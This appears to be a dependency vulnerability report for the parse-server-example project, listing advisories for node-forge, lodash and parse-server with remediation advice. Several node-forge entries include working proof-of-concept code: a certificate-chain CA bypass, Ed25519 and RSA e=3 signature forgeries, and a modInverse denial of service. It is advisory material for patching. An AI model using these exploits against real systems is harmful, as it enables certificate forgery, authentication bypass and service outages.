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critical severity
new
- Vulnerable module: node-forge
- Introduced through: parse-server@9.7.0
Detailed paths
-
Introduced through: parse-server-example@parse-community/parse-server-example#168c3c641fc32104a292c0b5c4647a9bc62675d2 › parse-server@9.7.0 › @parse/push-adapter@8.3.1 › @parse/node-apn@7.1.0 › node-forge@1.3.2
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Certificate Validation in the verifyCertificateChain function. An attacker can gain unauthorized certificate authority capabilities by presenting a certificate chain where an intermediate certificate lacks both basicConstraints and keyUsage extensions, allowing the attacker to sign certificates for arbitrary domains and have them accepted as valid.
PoC
const forge = require('node-forge');
const pki = forge.pki;
function generateKeyPair() {
return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}
console.log('=== node-forge basicConstraints Bypass PoC ===\n');
// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);
const rootAttrs = [
{ name: 'commonName', value: 'Legitimate Root CA' },
{ name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
{ name: 'basicConstraints', cA: true, critical: true },
{ name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
// This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);
const leafAttrs = [
{ name: 'commonName', value: 'Non-CA Leaf Certificate' },
{ name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());
// 3. Create a "victim" certificate signed by the leaf
// This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);
const victimAttrs = [
{ name: 'commonName', value: 'victim.example.com' },
{ name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());
// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);
try {
const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
console.log(' node-forge accepted a non-CA certificate as an intermediate CA!');
console.log(' This violates RFC 5280 Section 6.1.4.');
} catch (e) {
console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}
Remediation
Upgrade node-forge to version 1.4.0 or higher.
References
high severity
new
- Vulnerable module: node-forge
- Introduced through: parse-server@9.7.0
Detailed paths
-
Introduced through: parse-server-example@parse-community/parse-server-example#168c3c641fc32104a292c0b5c4647a9bc62675d2 › parse-server@9.7.0 › @parse/push-adapter@8.3.1 › @parse/node-apn@7.1.0 › node-forge@1.3.2
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature in the ed25519.verify function. An attacker can bypass authentication and authorization logic by submitting forged non-canonical signatures where the scalar S is not properly validated, allowing acceptance of signatures that should be rejected according to the specification.
PoC
#!/usr/bin/env node
'use strict';
const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;
const MESSAGE = Buffer.from('dderpym is the coolest man alive!');
// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);
// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
if (!Buffer.isBuffer(signature) || signature.length !== 64) {
throw new Error('signature must be a 64-byte Buffer');
}
const out = Buffer.from(signature);
let carry = 0;
for (let i = 0; i < 32; i++) {
const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
const sum = out[idx] + ED25519_ORDER_L[i] + carry;
out[idx] = sum & 0xff;
carry = sum >> 8;
}
return { sig: out, carry };
}
function toSpkiPem(publicKeyBytes) {
if (publicKeyBytes.length !== 32) {
throw new Error('publicKeyBytes must be 32 bytes');
}
// Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
}
function verifyWithCrypto(publicKey, message, signature) {
try {
const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
const ok = crypto.verify(null, message, keyObject, signature);
return { ok };
} catch (error) {
return { ok: false, error: error.message };
}
}
function toResult(label, original, tweaked) {
return {
[label]: {
original_valid: original.ok,
tweaked_valid: tweaked.ok,
},
};
}
function main() {
const kp = ed.generateKeyPair();
const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
const tweaked = addLToS(sig);
const okTweaked = ed.verify({
message: MESSAGE,
signature: tweaked.sig,
publicKey: kp.publicKey,
});
const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
const result = {
...toResult('forge', { ok }, { ok: okTweaked }),
...toResult('crypto', cryptoOriginal, cryptoTweaked),
};
console.log(JSON.stringify(result, null, 2));
}
main();
Remediation
Upgrade node-forge to version 1.4.0 or higher.
References
high severity
new
- Vulnerable module: node-forge
- Introduced through: parse-server@9.7.0
Detailed paths
-
Introduced through: parse-server-example@parse-community/parse-server-example#168c3c641fc32104a292c0b5c4647a9bc62675d2 › parse-server@9.7.0 › @parse/push-adapter@8.3.1 › @parse/node-apn@7.1.0 › node-forge@1.3.2
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature in ASN.1 structures during RSA signature verification. An attacker can bypass signature verification and inject forged signatures by crafting ASN.1 data with extra fields or insufficient padding, allowing unauthorized actions or data integrity violations.
Note:
This is only exploitable if the default verification scheme (RSASSA-PKCS1-v1_5) is used with the _parseAllDigestBytes: true setting (which is the default).
PoC
#!/usr/bin/env node
'use strict';
const crypto = require('crypto');
const forge = require('./forge/lib/index');
// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
// SEQUENCE { OID sha256, NULL },
// OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
'300d060960864801650304020105000420',
'hex'
);
const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
let h = n.toString(16);
if (h.length % 2) h = '0' + h;
const b = Buffer.from(h, 'hex');
return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
let lo = 0n;
let hi = 1n;
while (hi * hi * hi <= n) hi <<= 1n;
while (lo + 1n < hi) {
const mid = (lo + hi) >> 1n;
if (mid * mid * mid <= n) lo = mid;
else hi = mid;
}
return lo;
}
const cbrtCeil = n => {
const f = cbrtFloor(n);
return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
if (len < 0x80) return Buffer.from([len]);
if (len <= 0xff) return Buffer.from([0x81, len]);
return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}
function forgeStrictVerify(publicPem, msg, sig) {
const key = forge.pki.publicKeyFromPem(publicPem);
const md = forge.md.sha256.create();
md.update(msg.toString('utf8'), 'utf8');
try {
// verify(digestBytes, signatureBytes, scheme, options):
// - digestBytes: raw SHA-256 digest bytes for `msg`
// - signatureBytes: binary-string representation of the candidate signature
// - scheme: undefined => default RSASSA-PKCS1-v1_5
// - options._parseAllDigestBytes: require DER parser to consume all bytes
// (this is forge's default for verify; set explicitly here for clarity)
return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
} catch (err) {
return { ok: false, err: err.message };
}
}
function main() {
const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
modulusLength: 4096,
publicExponent: 3,
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
});
const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
const nBytes = Buffer.from(jwk.n, 'base64url');
const n = toBig(nBytes);
const e = toBig(Buffer.from(jwk.e, 'base64url'));
if (e !== 3n) throw new Error('expected e=3');
const msg = Buffer.from('forged-message-0', 'utf8');
const digest = crypto.createHash('sha256').update(msg).digest();
const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);
// Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
const k = nBytes.length;
// ffCount can be set to any value at or below 111 and produce a valid signature.
// ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
// However, current versions of node forge do not check for this.
// Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
const ffCount = 0;
// `garbageLen` affects DER length field sizes, which in turn affect how
// many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
// A small cap (8) is enough here: DER length-size transitions are discrete
// and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
let garbageLen = 0;
for (let i = 0; i < 8; i += 1) {
const gLenEnc = derLen(garbageLen).length;
const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
const seqLenEnc = derLen(seqLen).length;
const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
const next = k - fixed;
if (next === garbageLen) break;
garbageLen = next;
}
const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
const prefix = Buffer.concat([
Buffer.from([0x00, 0x01]),
Buffer.alloc(ffCount, 0xff),
Buffer.from([0x00]),
Buffer.from([0x30]), derLen(seqLen),
algAndDigest,
Buffer.from([0x04]), derLen(garbageLen)
]);
// Build the numeric interval of all EM values that start with `prefix`:
// - `low` = prefix || 00..00
// - `high` = one past (prefix || ff..ff)
// Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
const suffixLen = k - prefix.length;
const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
const high = low + (1n << BigInt(8 * suffixLen));
const s = cbrtCeil(low);
if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');
const sig = toBuf(s, k);
const controlMsg = Buffer.from('control-message', 'utf8');
const controlSig = crypto.sign('sha256', controlMsg, {
key: privateKey,
padding: crypto.constants.RSA_PKCS1_PADDING
});
// forge verification calls (library under test)
const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
const forgedForge = forgeStrictVerify(publicKey, msg, sig);
// Node.js verification calls (OpenSSL-backed reference behavior)
const controlNode = crypto.verify('sha256', controlMsg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, controlSig);
const forgedNode = crypto.verify('sha256', msg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, sig);
console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
console.log('control-node:', controlNode);
console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
console.log('forgery (node/OpenSSL):', forgedNode);
}
main();
Remediation
Upgrade node-forge to version 1.4.0 or higher.
References
high severity
new
- Vulnerable module: node-forge
- Introduced through: parse-server@9.7.0
Detailed paths
-
Introduced through: parse-server-example@parse-community/parse-server-example#168c3c641fc32104a292c0b5c4647a9bc62675d2 › parse-server@9.7.0 › @parse/push-adapter@8.3.1 › @parse/node-apn@7.1.0 › node-forge@1.3.2
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Infinite loop via the modInverse function. An attacker can cause the application to hang indefinitely and consume excessive CPU resources by supplying a zero value as input, resulting in an infinite loop.
PoC
'use strict';
const { spawnSync } = require('child_process');
const childCode = `
const forge = require('node-forge');
// jsbn may not be auto-loaded; try explicit require if needed
if (!forge.jsbn) {
try { require('node-forge/lib/jsbn'); } catch(e) {}
}
if (!forge.jsbn || !forge.jsbn.BigInteger) {
console.error('ERROR: forge.jsbn.BigInteger not available');
process.exit(2);
}
const BigInteger = forge.jsbn.BigInteger;
const zero = new BigInteger('0', 10);
const mod = new BigInteger('3', 10);
// This call should throw or return 0, but instead loops forever
const inv = zero.modInverse(mod);
console.log('returned: ' + inv.toString());
`;
console.log('[*] Testing: BigInteger(0).modInverse(3)');
console.log('[*] Expected: throw an error or return quickly');
console.log('[*] Spawning child process with 5s timeout...');
console.log();
const result = spawnSync(process.execPath, ['-e', childCode], {
encoding: 'utf8',
timeout: 5000,
});
if (result.error && result.error.code === 'ETIMEDOUT') {
console.log('[VULNERABLE] Child process timed out after 5s');
console.log(' -> modInverse(0, 3) entered an infinite loop (DoS confirmed)');
process.exit(0);
}
if (result.status === 2) {
console.log('[ERROR] Could not access BigInteger:', result.stderr.trim());
console.log(' -> Check your node-forge installation');
process.exit(1);
}
if (result.status === 0) {
console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim());
process.exit(1);
}
console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')');
if (result.stderr) console.log(' stderr:', result.stderr.trim());
process.exit(1);
Remediation
Upgrade node-forge to version 1.4.0 or higher.
References
high severity
new
- Vulnerable module: lodash
- Introduced through: parse-server@9.7.0
Detailed paths
-
Introduced through: parse-server-example@parse-community/parse-server-example#168c3c641fc32104a292c0b5c4647a9bc62675d2 › parse-server@9.7.0 › lodash@4.17.23
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.
Note:
This issue is due to the incomplete fix for CVE-2021-23337.
Remediation
Upgrade lodash to version 4.18.0 or higher.
References
high severity
new
- Vulnerable module: parse-server
- Introduced through: parse-server@9.7.0
Detailed paths
-
Introduced through: parse-server-example@parse-community/parse-server-example#168c3c641fc32104a292c0b5c4647a9bc62675d2 › parse-server@9.7.0
Overview
parse-server is a version of the Parse backend that can be deployed to any infrastructure that can run Node.js.
Affected versions of this package are vulnerable to Improper Authorization via the afterFind process. An attacker can gain unauthorized access to protected files by sending HTTP Range requests that bypass authorization logic and built-in validators on storage adapters supporting streaming.
Remediation
Upgrade parse-server to version 8.6.71, 9.7.1-alpha.1 or higher.
References
medium severity
new
- Vulnerable module: lodash
- Introduced through: parse-server@9.7.0
Detailed paths
-
Introduced through: parse-server-example@parse-community/parse-server-example#168c3c641fc32104a292c0b5c4647a9bc62675d2 › parse-server@9.7.0 › lodash@4.17.23
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete properties from built-in prototypes by supplying array-wrapped path segments, potentially impacting application behaviour.
Note:
This issue is due to incomplete fix for CVE-2025-13465 which protects only against string key members.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.18.0 or higher.
References
medium severity
- Module: web-push
- Introduced through: parse-server@9.7.0
Detailed paths
-
Introduced through: parse-server-example@parse-community/parse-server-example#168c3c641fc32104a292c0b5c4647a9bc62675d2 › parse-server@9.7.0 › @parse/push-adapter@8.3.1 › web-push@3.6.7
MPL-2.0 license